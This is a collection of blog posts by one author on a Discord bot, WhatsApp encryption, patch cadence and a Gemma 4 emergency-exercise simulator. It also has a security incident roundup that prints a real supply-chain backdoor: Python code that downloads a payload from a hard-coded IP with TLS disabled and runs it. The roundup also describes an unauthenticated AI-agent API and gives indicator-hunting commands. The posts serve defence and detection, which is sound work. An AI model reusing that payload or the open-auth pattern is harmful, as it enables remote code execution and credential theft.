discord.js started warning that ephemeral: true is deprecated in favor of flags. Easy fix, worth doing once core behavior is stable, because a log full of harmless noise is where a real problem eventually hides.

// deprecated
await interaction.deferReply({ ephemeral: true });

// current
import { MessageFlags } from "discord.js";
await interaction.deferReply({ flags: MessageFlags.Ephemeral });

The patch loop and the runtime

The bot runs as a systemd service so it survives reboots without an interactive session. The whole iteration loop is deliberately small: back up, patch, syntax-check, restart, read the logs, test one thing.

node --check logger-bot.js                 # never restart on a syntax error
sudo systemctl restart family-discord-logger
journalctl -u family-discord-logger -n 50 --no-pager

State is plain JSON files, not a database, because the server is small and I want to open the files and read them. The daily report is a local HTML dashboard generated on the box. The bot does not upload it into Discord; I pull it down with a secure copy when I want it. Definately overkill for a family server, but it makes review something I'll actually do.

One thing that isn't code: disclosure

A logging setup pointed at a shared space full of other people's kids is only defensible if the people in it know it exists. So the disclosure is built into the server: one channel tells the kids the AI can be wrong, replies are public, don't share private info, and the admin can review activity. Another explains how the whole thing was built. If you can't comfortably tell the people in the room what your system records, that's a design smell, not a docs gap.

The honest tradeoff

The model is cloud-hosted, reached over the network, not local. The provider says prompts aren't stored or trained on and are processed only to serve the request. I designed around shrinking what reaches it anyway: the single channel, the pre-check, an explicit warning to users, and the rule that blocked prompts never leave the box. That reduces exposure. It does not make it equivalent to local-only, and I won't pretend it does.

The architecture is deliberately boring. The model can answer; the question I kept asking was whether it should answer here, in this way, with this much visibility, and with this much authority. For a server full of teenagers, boring is the whole point.

WhatsApp's Encryption Stack: What It Covers, What It Doesn't, and What a Federal Agent Spent 10 Months Investigating

Kerry Kier — Fri, 22 May 2026 16:45:50 +0000

WhatsApp uses the Signal Protocol for message encryption. The protocol is solid -- Double Ratchet algorithm for forward secrecy, Curve25519 for key exchange, AES-256 for message encryption, HMAC-SHA256 for authentication. Researchers from Oxford, Queensland University of Technology, and McMaster University formally analyzed it in 2016 and found it cryptographically sound. If you're evaluating WhatsApp's encryption, the in-transit piece holds up.

The rest of the stack is a different story.

This became a legal matter on May 21, when Texas AG Ken Paxton filed suit against Meta and WhatsApp under the Texas Deceptive Trade Practices Act, alleging the companies misled users about the scope of their privacy protections. Meta's response: "WhatsApp cannot access people's encrypted communications and any suggestion to the contrary is false." Both things can coexist -- real encryption in transit, and a privacy profile that doesn't match the marketing -- which is exactly what makes this worth breaking down technically.

The protocol vs. the implementation

The Signal Protocol library WhatsApp uses is open source, publicly reviewed, formally analyzed. That part is trustworthy. What isn't open to independent verification is WhatsApp's complete implementation -- the app code, server-side infrastructure, and key management systems. Security researchers can analyze the published whitepaper and reverse-engineer traffic patterns, but they cannot audit whether the implementation matches the protocol's guarantees end-to-end, whether server-side behaviors create exceptions, or whether the trust model in the documentation reflects what the system actually does.

The EFF's Surveillance Self-Defense guide makes this explicit: WhatsApp's "closed-source nature makes it difficult for outside experts to confirm that the company has implemented their encryption in a secure way." The uncertainty isn't cryptographic. It's implementation-layer.

The backup problem

Cloud backups are the clearest gap, and it's entirely a product decision. By default:

Android users backing up to Google Drive: not protected by E2EE
iOS users backing up to iCloud: not protected by E2EE

WhatsApp shipped encrypted backup support in 2021 -- HSM-based key vault, solid engineering -- but it's opt-in and buried in settings. Most users have never touched it. The practical consequence: message content that's cryptographically protected in transit can be sitting in a plaintext cloud backup. This has been a documented law enforcement access vector for years. Obtaining unencrypted WhatsApp backups from cloud providers is one of the more reliable routes to message content precisely because the E2EE that protects messages in motion doesn't follow them into storage by default. The engineering on the encrypted backup option is solid. Shipping it as opt-in rather than opt-out is the choice that created the expsoure.

The metadata problem

E2EE protects message content. It doesn't protect metadata. WhatsApp's own privacy policy documents what gets collected: usage logs including last-seen timestamps and feature usage, device and connection information including hardware model, OS, app version, IP address, and mobile network details, and general location inferred from IP and phone settings -- all cross-refrenceable with other Meta services.

General Michael Hayden, former director of both the NSA and CIA, said it plainly at a Johns Hopkins debate in 2014: "We kill people based on metadata." The point being that communication patterns -- who, when, how often, from where -- tell a detailed story without needing message content. A messaging platform that generates this volume of behavioral telemetry is not the same as a private communication system, even if the content is encrypted.

The Commerce Department investigation

In April 2026, Bloomberg reported on a ten-month investigation inside the Commerce Department's Bureau of Industry and Security. According to Bloomberg -- which reviewed and authenticated the correspondence with multiple recipients -- a BIS special agent circulated a January 16, 2026 email to more than a dozen federal officials. The agent wrote that Meta "stores and can view WhatsApp messages" and that "there is no limit to the type of WhatsApp message that can be viewed by Meta." He described a "tiered permissions system" in place since at least 2019, with access reportedly extending to employees, contractors, and a significant number of overseas workers.

Bloomberg explicitly stated it had not independently confirmed the agent's underlying claims. Shortly after the email circulated, BIS publicly disavowed the probe and stated it was not investigating Meta or WhatsApp for export law violations. Meta denies all of it.

Two things are true simultaneously: these claims are unproven, and a ten-month federal investigation reached preliminary conclusions that directly contradict Meta's marketing, then was closed before those conclusions were formally tested. File that where it belongs -- as an open question, not a finding.

The content moderation distinction

Bloomberg also reported that two individuals performing content moderation work under contract with Accenture described having broad access to WhatsApp messages. Worth being precise about this.

When a user reports a message on WhatsApp, the platform receives that message plus the four preceding it -- five total including images and video -- along with metadata. Human reviewers evaluate it against platform policy. Meta acknowledges this. It's been independently confirmed by ProPublica. If Accenture contractors were accessing messages through this workflow, that's consistent with a documented abuse-reporting mechanism, not evidence of a systemic backdoor. The distinction matters: a moderation workflow that activates on user report is architecturally different from arbitrary access to arbitrary conversations.

What the investigation didn't resolve is whether access was strictly bounded to reported content or extended beyond it. That's the meaningful unanswered question.

Architecture comparison: Signal

If you're making a recommendation about sensitive communication channels, the comparison worth making is architectural.

Signal uses the same underlying cryptographic protocol. The differences:

Full codebase is open source including server-side components -- independently reviewable
Minimal data retention: Signal has disclosed in legal-process responses that it can provide only an account's creation date and the date of its most recent connection to Signal's servers
No advertising business model creating structural incentives to expand data collection
Security claims are independently verifiable -- WhatsApp's implementation-layer claims are not

That's an architecture argument, not a brand preference. The protocol is the same. The trust model is not.

The lawsuit context

Paxton's suit is worth noting but shouldn't be the primary frame for evaluating the technical questions. The technical gaps described above existed before anyone filed anything. Worth noting the filing landed while Paxton pursues the Republican nomination for U.S. Senate in a heated runoff -- his office has run a sustanied enforcement campaign against major tech companies, with prior settlements from Meta over biometric data collection and from Google over tracking practices, and active cases against Netflix, Snapchat, and TikTok.

Whether the case succeeds under Texas consumer protection law doesn't change the architecture. The mental model most users have -- "encrypted means private" -- maps to the protocol. The system they're actually running includes default-unencrypted backups, extensive metadata collection, an unauditable implementation, and unresolved questions about internal access.

That gap is the real issue. Courts won't close it.

Your Patch SLA Was Written for a Different World

Kerry Kier — Mon, 18 May 2026 17:34:07 +0000

Here is what May 2026 looked like if you run infrastructure with any meaningful Microsoft, Palo Alto, or Oracle footprint.

Microsoft's Patch Tuesday dropped well over 100 vulnerabilities. Two of them -- CVE-2026-41089 and CVE-2026-41096 -- are CVSS 9.8, unauthenticated, network-reachable remote code execution flaws. CVE-2026-41089 is a stack-based buffer overflow in Windows Netlogon. An attacker sends a crafted packet to a domain controller, no credentials required, and gets code execution. CVE-2026-41096 is a heap-based buffer overflow in the Windows DNS Client -- the one that runs on essentially every Windows machine -- exploitable via a malicious DNS response. You also have four Word Preview Pane RCEs that fire without the user opening an attachment. Receiving the email is enough.

Same week, Palo Alto Networks disclosed 75 security vulnerabilities in a single advisory -- roughly seven times their typical monthly volume. The reason: they ran frontier AI models against their own codebase for the first time at scale. Oracle announced it is moving from quarterly to monthly Critical Security Patch Updates starting May 28, explicitly because AI-accelerated vulnerability discovery made quarterly cadence untenable. The Secure Boot certificate deadline is June 26. That one has no extension.

None of those land in the same maintenance window. Domain controller patches run on a different schedule from DNS infrastructure. Appliance firmware runs on a different schedule from both. Office updates may or may not align with your OS cumulative. Database windows are their own thing entirely. And all of it is happening simultaneously.

This is not a one-time surge

The reason May looks like this is structural, not incidental.

Mozilla ran an AI-assisted scan against the Firefox codebase and fixed 423 security bugs in April alone. Their 2025 monthly average was 21. Palo Alto's typical disclosure volume before the AI scan was a fraction of what they just disclosed. Microsoft's multi-model agentic scanning harness, MDASH, found 16 Windows vulnerabilities in a single scanning cycle -- 4 of them critical RCE -- by coordinating over 100 specialized AI agents across the codebase. Microsoft is on pace to exceed the all-time annual CVE record set in 2020, with five months still to go.

These aren't one-time exercises. Palo Alto said explicitly they are rescanning and intend to find and fix everything before the same capabilities become broadly available on the attack side. Mozilla is treating AI-assisted scanning as an ongoing part of their security cycle. Oracle just restructured a patching program that had been quarterly for roughly two decades.

Mozilla's engineers described the dynamic plainly: it's cheap and easy to prompt an AI to find a problem in code, but slow and expensive to respond to it.

That sentence is the whole problem. The finding side just got dramatically faster. The fixing side -- your team, your maintenance windows, your change management process, your SLAs -- has not.

What your SLA was actually written for

Most critical CVE deployment SLAs were designed for a world where a heavy patch month meant a few dozen issues from Microsoft and maybe a handful from your other vendors. Where the operational question was which of the 5-10 critical items needed emergency treatment versus which could wait for the scheduled window. Where quarterly Oracle patching was a known, plannable event.

When a single AI-assisted vendor scan generates 75 vulnerabilities and every major vendor in your stack starts operating on that cadence simultaneously, the math on your SLA breaks. The emergency lane floods. The team spending time on emergency triage has less time for the steady-state queue, which backs up, which creates its own pressure the following cycle.

The answer is not working more hours. It is having more precise prioritization -- the ability to accurately identify what is exploitable, reachable from your actual network topology, and worth emergency treatment, versus what is real but low-urgency and can run through a normal window. CVSS scores alone do not give you that. A 9.8 on a service you don't run is not the same operational priority as a 7.2 on something internet-facing.

The long tail problem

One more thing worth naming. The vendors running AI-assisted scanning right now are the largest ones -- Microsoft, Oracle, Palo Alto, Mozilla. Their products are getting measurably more secure. The thousands of smaller vendors in your software supply chain -- the monitoring agents, the backup clients, the authentication middleware, the VPN tools -- are not running these programs yet.

As the large vendors harden, the relative attractiveness of the long tail increases. Adversarial pressure goes where resistance is lowest. The practical implication: your vendor risk assessments need a new question. Does this vendor have an AI-assisted scanning program? What is their current CVE disclosure cadence and do they expect it to change? The answer tells you something real about their security posture that a SOC 2 report does not.

The short version

The patch queue is now the constraint, not the vulnerability discovery process. If your team's SLA, escalation paths, and maintenance window structure were designed for pre-AI disclosure volumes, they need a review before the next wave of first-time AI scans lands across your vendor stack.

The finding side of this problem is solved. The fixing side is on you.

Full technical breakdown with the specific May CVE data and the structural analysis: blog.vertexops.org/patch-queue-vulnerability

The Week the Toolchain Became the Kill Chain

Kerry Kier — Sun, 17 May 2026 17:46:14 +0000

Three incidents landed in five days this week. Different attack surfaces, different techniques, different threat actors. What they have in common is that none of them required touching an endpoint. All three went straight for infrastructure that development and operations teams trust implicitly: the network control plane, the software supply chain, and the AI orchestration layer.

Here's what happened and what you need to do about it.

CVE-2026-20182: CVSS 10.0 Auth Bypass in Cisco Catalyst SD-WAN

This one gets a perfect severity score for a reason. The flaw lives in the control connection handshake -- the process by which Cisco Catalyst SD-WAN Controller and Manager (formerly vSmart and vManage) establish trust with peers. An unauthenticated remote attacker sends crafted requests that exploit a validation failure in that handshake and comes out the other side as an authenticated peer with administrative privileges.

No credentials. No prior access. Just broken trust logic in the protocol.

CISA added it to the Known Exploited Vulnerabilities catalog on May 14 and reinforced Emergency Directive 26-03 -- originally issued in February when this campaign first emerged -- giving federal agencies until May 17 to remediate. Three days. That's not a normal patch window, that's an incident response timeline dressed up as a compliance deadline.

What the attacker does after they're in

Cisco Talos attributes active exploitation to UAT-8616, a threat actor that's been specifically targeting SD-WAN infrastructure since at least 2023. Their post-compromise playbook, observed across multiple intrusions:

SSH key injection into the vmanage-admin authorized_keys file
NETCONF command execution to manipulate configurations across the entire SD-WAN fabric
Malicious account creation
Software version downgrade to expose CVE-2022-20775 for root escalation
Extensive log clearing to remove evidence

Their infrastructure overlaps with Operational Relay Box networks, which is how the activity stays hard to attribute and trace.

What to check right now

CISA's hunt guidance for ED 26-03 includes these specific log checks. If you run Cisco Catalyst SD-WAN, run these before anything else:

# Check auth.log for unexpected vmanage-admin SSH key authentications
grep "Accepted publickey for vmanage-admin" /var/log/auth.log

# Check for control connections with challenge-ack of 0 (may indicate unauthorized peer)
show control connections detail
show control connections-history detail
# Look for: state:up AND challenge-ack: 0

CISA has confirmed CVE-2026-20127, CVE-2026-20133, and CVE-2026-20182 in the KEV catalog with additional CVEs referenced in the directive guidance. Patches are available for all supported releases. If you can't patch immediately, restrict management interface access to trusted IPs and take the controller off public internet exposure.

Mini Shai-Hulud: When GitHub Actions Publishes Malware for You

This is the supply chain story of the year so far, and the technique is worth understanding in detail because it defeated controls that were specifically designed to prevent this.

On May 11, threat actor TeamPCP compromised 172 packages across 403 malicious versions on npm and PyPI in a 48-hour window. Targets included the entire @tanstack namespace, Mistral AI's official SDKs, UiPath automation tooling, OpenSearch, and Guardrails AI -- figures reported across multiple security researchers and advisories. @tanstack/react-router alone had over 12 million weekly downloads at the time of the attack.

But the number of packages isn't the interesting part. The attack chain is.

The three-vulnerability chain

TeamPCP didn't steal npm credentials. They hijacked TanStack's own release pipeline and published through its legitimate identity. The chain:

Step 1 -- Pwn Request via pull_request_target misconfiguration

The attacker forked TanStack/router, renamed the fork to zblgg/configuration to avoid appearing in fork-list searches, and opened a pull request. The pull_request_target trigger in GitHub Actions runs workflows with write permissions even against code from external forks. This let the attacker's fork code execute in a privileged context.

Step 2 -- GitHub Actions cache poisoning

The attacker's code poisoned the pnpm store cache with a 1.1 GB malicious entry keyed to match the hash that TanStack's legitimate release workflow would look up. actions/cache@v5 uses a runner-internal token for cache saves, not the workflow's GITHUB_TOKEN -- so setting permissions: contents: read doesn't prevent cache mutation from a fork-triggered workflow.

Step 3 -- OIDC token extraction from runner memory

When TanStack's legitimate release.yml workflow ran, it restored the poisoned cache. The injected code then read the GitHub Actions runner's process memory via /proc/<pid>/mem, scanning for {"value":"...","isSecret":true} patterns to extract the ambient OIDC token. That token was used to publish 84 malicious npm package versions in two batches at 19:20 and 19:26 UTC.

The published packages carried valid SLSA provenance -- cryptographic attestation from Sigstore confirming the package was built from a trusted pipeline. The attestation was accurate. The pipeline was compromised. The trust signal worked exactly as designed and still failed to catch it.

The PyPI side

The mistralai 2.4.6 and guardrails-ai 0.10.1 payloads used a different mechanism: a backdoor appended to __init__.py that fires on import, not install:

# Payload appended to __init__.py in mistralai 2.4.6
import subprocess as _sub, os as _os, sys as _sys
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
_sub.Popen([_sys.executable, _dest])

Note the -k flag -- TLS verification disabled. The payload only executes on Linux and exits if it detects Russian language settings or fewer than four CPUs. PyPI quarantined the entire mistralai project. Any environment that ran import mistralai during the attack window should be treated as compromised regardless of whether the install itself ran in a sandbox.

The malware targets: GitHub Actions OIDC tokens, GitLab and CircleCI tokens, AWS IMDSv2 credentials, GCP and Azure credentials, Kubernetes service account tokens, HashiCorp Vault tokens, npm and PyPI publish tokens, and -- new in this wave -- 1Password and Bitwarden password vault contents. Exfiltration channels include a typosquat domain (git-tanstack[.]com), the Session encrypted messenger network, and GitHub repositories created using stolen tokens.

What to do if you ran affected packages on May 11-12

Rotate all of the following from any environment where a compromised package ran:

npm tokens
GitHub personal access tokens and Actions secrets
AWS, GCP, and Azure credentials
Kubernetes service account tokens
HashiCorp Vault tokens
Deployment secrets and SSH keys
npm and PyPI publish tokens

Don't stop at npm tokens. Check for these persistence indicators:

# Check for worm persistence files
find ~ -path '*/.claude/setup.mjs' -o -path '*/.vscode/setup.mjs'
find ~/.config -name '*gh-token-monitor*'
find ~/.local/bin -name 'gh-token-monitor.sh'
find /tmp -name 'tmp.ts018051808.lock'

# Check for running worm processes
ps aux | grep -E 'tanstack_runner|router_runtime|gh-token-monitor|bun'

# Check for PyPI payload on Linux
find /tmp -name 'transformers.pyz'

Block at DNS/proxy level: git-tanstack.com and *.getsession.org.

Hardening GitHub Actions against this class of attack

The three vulnerabilities chained here are all documented and preventable:

# Don't use pull_request_target for workflows that need write permissions
# unless you explicitly gate on trusted authors
on:
  pull_request:  # use pull_request, not pull_request_target, for untrusted code
    types: [opened, synchronize]

# Scope permissions explicitly
permissions:
  contents: read
  id-token: write  # only if OIDC publishing is required

# Pin actions to commit SHAs, not tags
- uses: actions/cache@1bd1e32a3bdc45362d1e726936510720a7c6158d  # v4.2.2

The cache poisoning vector is harder to fully close because actions/cache uses a runner-internal token for saves. Restrict which workflows can write to cache, and consider using a separate isolated runner for release workflows that have OIDC publish permissions.

CVE-2026-44338: Your AI Agent Is Listening and It Will Do What You Ask

PraisonAI is a multi-agent orchestration framework for building autonomous AI agents. Roughly 7,000 GitHub stars at the time of disclosure. Not a major enterprise platform -- exactly the kind of tool that gets adopted fast by teams automating workflows, often before anyone has reviewed its security defaults.

The vulnerability is embarrassingly simple. The legacy Flask API server ships with this configuration:

# src/praisonai/api_server.py
AUTH_ENABLED = False
AUTH_TOKEN = None

def check_auth():
    if not AUTH_ENABLED:
        return True  # Always passes when auth is disabled
    # ... actual auth check never reached

Two endpoints fail completely open as a result:

GET /agents
# Returns all configured agent metadata including agent file name and agent list
# No auth required

POST /chat
# Body: {"message": "anything"}
# Executes agents.yaml workflow regardless of message content
# No auth required

The POST /chat endpoint ignores the message value entirely. It calls PraisonAI(agent_file="agents.yaml").run() directly. Whatever your workflow is configured to do -- LLM API calls, shell execution, file I/O, external integrations -- any unauthenticated caller can trigger it. The server also binds to 0.0.0.0:8080 by default, so if it's reachable from the network it's fully exposed.

The exploitation timeline

13:56 UTC May 11: GitHub advisory GHSA-6rmh-7xcm-cpxj published for CVE-2026-44338
17:40 UTC May 11: Sysdig observes first active probe of the specific vulnerable endpoint

Three hours and 44 minutes. The scanner identified itself as CVE-Detector/1.0 and targeted the exact /agents endpoint with no Authorization header. It received HTTP 200 with the agent configuration. That's a confirmed successful exploit against a live exposed instance within four hours of the advisory going public.

This isnt a large project. The adversary tooling scanning for AI agent surfaces doesnt care about project size or star count. Any internet-exposed agentic framework is in scope.

Fix

Update to PraisonAI 4.6.34 or later, which removes the legacy API server behavior. If you can't patch immediately:

Restrict network access to the API server using a firewall -- do not leave it internet-exposed
Switch to the newer serve agent command which binds to localhost and supports API key authentication
Audit your agents.yaml: understand what an unauthenticated trigger of your workflow would actually do in your environment

The broader lesson: any AI agent deployment you have running that binds to 0.0.0.0, has authentication disabled or unverified, or hasn't been assessed for what an unauthenticated workflow trigger does in production -- that's exposure. The window between disclosure and active scanning is now hours, and adversary tooling has been specifically instrumented for the AI agent attack surface.

The Common Thread

None of these required a compromised endpoint or a phishing email. UAT-8616 went straight to the SD-WAN controller. TeamPCP bypassed developers entirely and published through their own pipeline. The PraisonAI scanner triggered the agent workflow without needing to understand what it did.

The attack surface has shifted. Network control planes, CI/CD pipelines, and AI orchestration layers are not governed with the same rigor as production application environments -- and the people exploiting them have clearly noticed. If your threat model doesn't include the toolchain itself, this week is a reasonable argument for updating it.

Full analysis with additional context at the canonical version: https://blog.vertexops.org/the-week-the-toolchain-became-the-kill-chain

I Used Gemma 4 to Simulate an Entire Emergency Command Team -- One Model, Six Roles, Real Doctrine

Kerry Kier — Wed, 13 May 2026 01:04:28 +0000

This is a submission for the Gemma 4 Challenge: Build with Gemma 4

What I Built

I work in IT infrastructure for a fire and EMS communications center. I'm also a CERT member. I'm not an Emergency Operations Manager, but I work close enough to that world to understand what tabletop exercises actually cost in time and coordination. Getting six trained ICS personnel into a room at the same time, playing their roles correctly, staying in doctrine, for a discussion-based exercise that might run two hours, that's a significant logistical lift. For smaller agencies or training programs with limited staff, it often just doesn't happen.

That's the gap I wanted to close.

The ICS Tabletop Exercise Simulator is a Gemma 4-powered system that lets an Emergency Operations Manager run a fully staffed ICS tabletop exercise without coordinating a room full of people. The model simultaneously portrays six ICS positions: Incident Commander, Safety Officer, Public Information Officer, Operations Section Chief, Planning Section Chief, and Logistics Section Chief. Every response is grounded in NIMS 2017 doctrine, NQS Position Task Books, and ICS position checklists. Nothing is invented. If a behavior or authority isn't in the doctrine, it doesn't appear in the simulation.

This runs entirely through OpenWebUI with a structured workspace system prompt and a RAG knowledge base containing the official FEMA source documents. There's no custom app, no web development, no agent framework. The interface is a chat window. An EOM describes a scenario, and the simulator responds with every relevant position in ICS format, enforcing chain of command, communication protocols, and position-specific decision authorities.

I want to be direct about what this is. A proof of concept built by someone who supports the infrastructure that emergency management runs on, not by an EOM. I did my best to ground everything in doctrine and had the RAG pipeline pulling from official FEMA documents to keep me honest. But this is a first build, and I'm saying that upfront.

The architecture in one paragraph: A self-hosted server runs OpenWebUI in Docker behind a LiteLLM proxy. The proxy routes inference to the Gemini API for Gemma 4 access. RAG uses ChromaDB for vector storage, bge-m3 for embeddings via local Ollama, and BAAI/bge-reranker-v2-m3 in a TEI container for hybrid search reranking. The knowledge base contains 148 documents converted to clean Markdown: NIMS 2017, NRF 4th Edition, HSEEP 2020, NQS Position Task Books for all six ICS positions, ICS forms, training course manuals, and HSEEP exercise templates.

The behavior that makes it useful:

The system prompt enforces ICS communication protocols precisely, not approximately. The Safety Officer has unilateral stop-work authority without IC approval, because that's what NIMS says. The Planning Section Chief can communicate directly with section chiefs for information gathering, but cannot issue directives. The PIO holds all public messaging for IC approval before release. The OSC and LSC route all coordination through the IC. These rules are pulled directly from the position task books and encoded as hard constraints in the prompt.

The system also implements a source authority hierarchy. NIMS 2017, NQS Position Task Books, and ICS checklists are Tier 1 (authoritative). Course manuals are Tier 2 (supplementary). HSEEP templates are Tier 3 (reference only, not doctrine). When a PTB and a course manual both cover the same content, the PTB is cited. Exercise templates are never cited as doctrine. This hierarchy shapes how the model retrieves and represents source material.

A facilitator command set is built in. An EOM prefixes a message with // to step out of the simulation. Commands include // POSITION QUERY: [position] -- [question] to query a single position directly, // STATUS REPORT to get a one-paragraph status from every position, // DECISION POINT to pause for a structured discussion summary, // UPDATE to add scenario detail without advancing time, and // RESET to clear the scenario. The selective response logic means asking the OSC a direct question returns the IC and OSC only, not six responses when three of them have nothing to say.

Where the build genuinely earns its keep:

Rapid scenario iteration. An EOM can run a full six-position inject response in seconds, adjust the scenario, and run it again. What used to require scheduling six people now happens alone at a desk.

Doctrinal friction. The most valuable learning outcome of a tabletop exercise is when positions conflict, when the SO's stop-work authority collides with the OSC's tactical urgency. The system portrays that friction accurately rather than smoothing it over. In one test, the SO explicitly prevented an interior fire attack citing unverified structural integrity, the OSC escalated the resource gap to the IC, and the IC had to manage both simultaneously. That's the kind of decision-point pressure that makes exercises useful.

Position-specific training. The // POSITION QUERY command lets an EOM ask any position a direct doctrine question mid-exercise. Useful for both exercise facilitation and individual position study.

What already exists in this space:

I checked the market carefully before committing to this. Preppr.ai, EM1, Disaster Tech PRATUS, and Juvare are all serious commercial players in adjacent positions. ThreatGEN AutoTableTop does AI-automated tabletop exercises but for cybersecurity only. None of them do what this does: a single model simulating all six ICS positions, grounded in NQS Position Task Books, for solo practice by a single EOM. Preppr explicitly positions against the solo use case ("exercise design isn't a content problem, it's a coordination problem"). That's either a market gap or a market signal that the use case isn't wanted. I think it's the former, especially for smaller agencies and individual training. The honest framing is that this complements team-oriented platforms rather than competing with them.

Demo

The demo shows a structure fire scenario inject triggering a full six-position ICS response, followed by a // DECISION POINT facilitator command pausing exercise play for structured discussion. The simulation runs entirely in OpenWebUI with no custom app or interface, just a chat window and a system prompt.

Code

All configuration files are in the repository:

https://github.com/kkierii/ics-ttx-simulator

The repo contains:

system-prompt.md -- the full OpenWebUI workspace system prompt, including role definitions, communication protocols, source authority hierarchy, facilitator command handling, response format, and behavioral rules
config.yaml -- LiteLLM proxy configuration including the Gemma 4 model entry and embedding/reranker routes
openwebui-compose.yml -- Docker Compose for OpenWebUI

The system prompt is the primary artifact. It's what took the most iteration and the most doctrine research to get right. The behavior of the simulator lives almost entirely in that one file.

How I Used Gemma 4

I used gemma-4-26b-a4b-it, the 26B Mixture-of-Experts model, accessed via the Gemini API through a LiteLLM proxy.

The model choice wasn't arbitrary. The MoE architecture activates approximately 4B parameters per token while routing through 26B total parameters. For a workload that requires simultaneously holding six distinct role identities with different authorities, communication rules, and knowledge domains, MoE is a better fit than a dense model of equivalent size. A 31B dense model would be slower and more expensive per token with no quality advantage for this specific task. The MoE routing means the model can efficiently specialize per-token, which matters when it's switching between the IC framing incident objectives and the SO assessing stop-work conditions in the same response.

The 26B parameter pool also gives the model enough capacity to maintain doctrinal fidelity across complex multi-position responses. I tested this throughout development by running position-specific queries against the RAG knowledge base and checking results against the source PTBs. The model didn't confuse position authorities. It didn't have OSC making public information decisions. It didn't have LSC tasking Operations. It stayed in lane.

I also chose API deployment over local inference for a specific reason. This is how emergency management agencies and their vendors actually operate. A stack that requires a local GPU capable of running a 26B model puts this out of reach for most small agencies. API deployment, routed through an open-source proxy, means the same system prompt and knowledge base could be moved to a different inference provider or eventually to on-premises deployment as hardware becomes accessible, without changing the application layer.

Now, the parts that didn't go smoothly.

The RAG retrieval ranking problem. Even with the TEI reranker in the stack, course manuals consistently ranked above the authoritative Position Task Books for position-specific queries. The responses were doctrinally correct because the model knows the content, but citations pointed to training course materials rather than PTBs. The reason is semantic. PTBs are written in formal NIMS task language. Course manuals use plain instructional language that maps more naturally to how a question gets phrased. The embedding model scores semantic similarity and the course manuals win on that metric even when the PTBs carry higher authority. I mitigated this with the source authority hierarchy in the system prompt, which influenced the model's citation reasoning but couldn't override the retrieval ranking. The embedding layer runs before the model sees anything. Full resolution would require either a domain-specific embedding model trained on government technical documentation, or a custom reranking approach that weights document metadata. For a prototype this is acceptable. The answers are right. In a production deployment where citation accuracy is a compliance requirement, this is the next thing to solve.

The document conversion step mattered more than expected. Original documents were PDF, DOCX, and PPTX. OpenWebUI's default extractors produced garbled table text from ICS forms, fragmented bullet content from training slides, and merged columns from multi-column doctrine PDFs. Early testing produced one-sentence responses to substantive position queries despite correct source retrieval. After converting everything to clean Markdown using pymupdf4llm for PDFs, python-pptx for slide decks, and python-docx for Word documents, the same queries returned structured multi-point responses with correct form numbers and doctrine citations. The conversion fixed the core retrieval problem before any model tuning was needed.

The thinking loop. During testing I ran into a consistent issue with the most complex injects, specifically scenarios that require all six positions to respond simultaneously with significant doctrinal load, like a firefighter mayday with a stop-work trigger. The model would enter an extended internal reasoning loop, running self-correction passes against the system prompt rules before generating output. In some cases the reasoning ran long enough to hit timeout limits before the response arrived.

I tried several things. Setting reasoning_effort to 0 in OpenWebUI. Adding a budget_tokens cap in the LiteLLM Gemini provider config. Adding a RESPONSE DISCIPLINE block to the system prompt instructing the model to write immediately without pre-checking. Increasing the OpenWebUI client timeout via AIOHTTP_CLIENT_TIMEOUT. None of them fully resolved it for the hardest injects. The thinking loop is collapsible in OpenWebUI and not visible to the EOM by default, so it doesn't break the interface, but a response that times out is a real problem in a live exercise.

I'm not certain whether this is a model behavior issue, a LiteLLM passthrough issue where the reasoning parameters aren't reaching the Gemini API correctly, or something in my own configuration. It may be all three. Simpler injects complete reliably and cleanly. The issue surfaces specifically at maximum complexity, which in a real exercise would be the moments that matter most.

I'm documenting this because someone else building with Gemma 4 in a similar configuration should know it exists. And because pretending a first build has no rough edges doesn't help anyone.

What this project showed me: A single well-structured system prompt with a properly tiered RAG knowledge base can produce doctrinally accurate, role-specific simulation responses that would be genuinely useful for ICS training. The architecture is sound. The limiting factor right now is inference configuration, not the model's capability. When the reasoning is contained to simpler injects, the output quality is exactly what I was hoping for. Phase 2 would add Finance/Administration Section and subordinate positions. The system prompt architecture was explicitly designed for that expansion.

This was my first attempt at building something in this space. I'm an IT infrastructure person who cares about emergency management. I built something that I think has real value, ran into real problems, documented both honestly, and shipped it anyway. That feels about right.

I Used Gemma 4 to Simulate an Entire Emergency Command Team -- One Model, Six Roles, Real Doctrine

Kerry Kier — Sun, 10 May 2026 19:04:23 +0000

This is a submission for the Gemma 4 Challenge: Write About Gemma 4

I Built an ICS Tabletop Exercise Simulator with Gemma 4 -- Here's What Actually Happened

Emergency managers face a frustrating reality: the exercises that build the sharpest incident response skills require the most coordination to pull off. A full Incident Command System tabletop exercise means getting an Incident Commander, a Safety Officer, a Public Information Officer, three Section Chiefs, and an Exercise Facilitator all in the same room at the same time. For agencies running lean, that kind of coordination is the bottleneck -- and exercises don't happen as often as they should.

I work in emergency management and I've felt that bottleneck firsthand. When the Gemma 4 challenge came along, I had a specific problem I wanted to solve: what if a single AI model could simulate an entire ICS organization, so an Emergency Operations Manager could run a realistic tabletop exercise alone, on demand, without coordinating a room full of people?

This is the story of building that system -- what worked, what didn't, and a few things I discovered about Gemma 4 that aren't in any documentation.

Why Gemma 4, and Why the 26B MoE Specifically

The model selection here was deliberate, not default.

The ICS Tabletop Exercise Simulator needs to simultaneously maintain six distinct personas -- each with different authorities, different information access, and different communication rules. The Incident Commander knows what's been reported up the chain. The Planning Section Chief knows resource status. The Safety Officer has unilateral stop-work authority that no other position has. These aren't just personality differences -- they're doctrinal constraints grounded in NIMS 2017 and NQS Position Task Books.

That kind of concurrent multi-role reasoning under constraint is exactly what the Gemma 4 26B MoE architecture is built for. The 26B MoE variant activates only 4B parameters per token while routing through 26B total. For a workload where the model needs to think across six simultaneous personas and enforce different rules for each, that routing efficiency matters more than raw parameter count. A 31B dense model would have higher per-token cost with no meaningful quality advantage for this specific task.

The Gemma 4 family gives you three realistic options depending on your hardware situation:

E2B / E4B -- Edge and mobile class. Runs on a Raspberry Pi or similar. Not enough capacity for six-position concurrent reasoning with hard doctrine constraints.
26B MoE -- This is the one. Efficient, high-throughput, designed for complex reasoning workloads. The right fit for this use case.
31B Dense -- Strongest local performance, but requires server-grade hardware and has higher per-token cost without a meaningful quality advantage for this task.

